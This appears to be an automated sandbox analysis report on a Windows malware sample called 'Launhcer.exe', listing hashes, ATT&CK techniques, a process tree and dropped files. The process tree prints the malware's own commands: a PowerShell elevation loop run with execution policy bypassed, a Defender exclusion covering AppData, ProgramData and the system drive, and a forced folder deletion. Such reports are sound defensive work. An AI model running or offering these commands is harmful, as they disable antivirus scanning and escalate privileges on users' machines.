9bff935ec8c2618fe262d931924c031e18eee550d9701e3cfb83c07918fd02ce

Resubmissions

28-08-2024 22:02

240828-1x98aszhnk 10

27-08-2024 12:22

240827-pjyrkazgmh 10

Analysis

max time kernel
119s
max time network
128s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
27-08-2024 12:22

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General

Target

data/appInfo/services/Launhcer.exe
Size

364KB
MD5

e5c00b0bc45281666afd14eef04252b2
SHA1

3b6eecf8250e88169976a5f866d15c60ee66b758
SHA256

542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903
SHA512

2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387
SSDEEP

6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2588	powershell.exe
1976	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launhcer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2588	powershell.exe
2588	powershell.exe
2588	powershell.exe
1976	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 320 wrote to memory of 2588	320	Launhcer.exe	31
PID 320 wrote to memory of 2588	320	Launhcer.exe	31
PID 320 wrote to memory of 2588	320	Launhcer.exe	31
PID 320 wrote to memory of 2588	320	Launhcer.exe	31
PID 2588 wrote to memory of 2164	2588	powershell.exe	33
PID 2588 wrote to memory of 2164	2588	powershell.exe	33
PID 2588 wrote to memory of 2164	2588	powershell.exe	33
PID 2588 wrote to memory of 2164	2588	powershell.exe	33
PID 2588 wrote to memory of 2164	2588	powershell.exe	33
PID 2588 wrote to memory of 2164	2588	powershell.exe	33
PID 2588 wrote to memory of 2164	2588	powershell.exe	33
PID 2588 wrote to memory of 2164	2588	powershell.exe	33
PID 2588 wrote to memory of 2164	2588	powershell.exe	33
PID 2164 wrote to memory of 1976	2164	Launcher.exe	34
PID 2164 wrote to memory of 1976	2164	Launcher.exe	34
PID 2164 wrote to memory of 1976	2164	Launcher.exe	34
PID 2164 wrote to memory of 1976	2164	Launcher.exe	34
PID 2164 wrote to memory of 1976	2164	Launcher.exe	34
PID 2164 wrote to memory of 1976	2164	Launcher.exe	34
PID 2164 wrote to memory of 1976	2164	Launcher.exe	34
PID 2164 wrote to memory of 1380	2164	Launcher.exe	36
PID 2164 wrote to memory of 1380	2164	Launcher.exe	36
PID 2164 wrote to memory of 1380	2164	Launcher.exe	36
PID 2164 wrote to memory of 1380	2164	Launcher.exe	36
PID 2164 wrote to memory of 1380	2164	Launcher.exe	36
PID 2164 wrote to memory of 1380	2164	Launcher.exe	36
PID 2164 wrote to memory of 1380	2164	Launcher.exe	36

C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe
"C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:320
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1976
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
      4⤵
      System Location Discovery: System Language Discovery
      PID:1380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
0680fd2a0aa74256f51f31c2ba5da48b

SHA1
2018429cd6eebd08e1a489475d8fc1dc6aa692e7

SHA256
3d49e27394bd603ee99743cf51f459eab07a3d41a204cdd7b0dee722b133265e

SHA512
69a923ec6ad1c33b1e000db9cfb47b0879364dcc4f25126880bf99a81298728130789e6554ab88e7f61333bbdc588022662a14a287bff71c3ab9d196d9c62df2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4EDD.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4EF0.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
f0443acc82de6cec0c073bd5c196322f

SHA1
8cd95086bf62d15abd32a44c5e69615160d46faf

SHA256
bc0ec115ff8d8b974fac4f01d146dc0f3e8972402ffb24736177d1d1467fb510

SHA512
8758fb8c0a715d8d659c0c0c8559eb508c57eab39d5432dfbdef35f2906e5e4aa7dce3b77784be905789315b771a2df796ad041f341efa2e35fcec564c4ae0b9

Download Submit
memory/320-0-0x0000000000160000-0x0000000000161000-memory.dmp

Filesize
4KB

Download
memory/2588-88-0x00000000736E1000-0x00000000736E2000-memory.dmp

Filesize
4KB

Download
memory/2588-111-0x00000000736E0000-0x0000000073C8B000-memory.dmp

Filesize
5.7MB

Download
memory/2588-110-0x00000000736E0000-0x0000000073C8B000-memory.dmp

Filesize
5.7MB

Download
memory/2588-112-0x00000000736E0000-0x0000000073C8B000-memory.dmp

Filesize
5.7MB

Download
memory/2588-123-0x00000000736E0000-0x0000000073C8B000-memory.dmp

Filesize
5.7MB

Download
memory/2588-318-0x00000000736E0000-0x0000000073C8B000-memory.dmp

Filesize
5.7MB

Download
memory/2588-320-0x00000000736E0000-0x0000000073C8B000-memory.dmp

Filesize
5.7MB

Download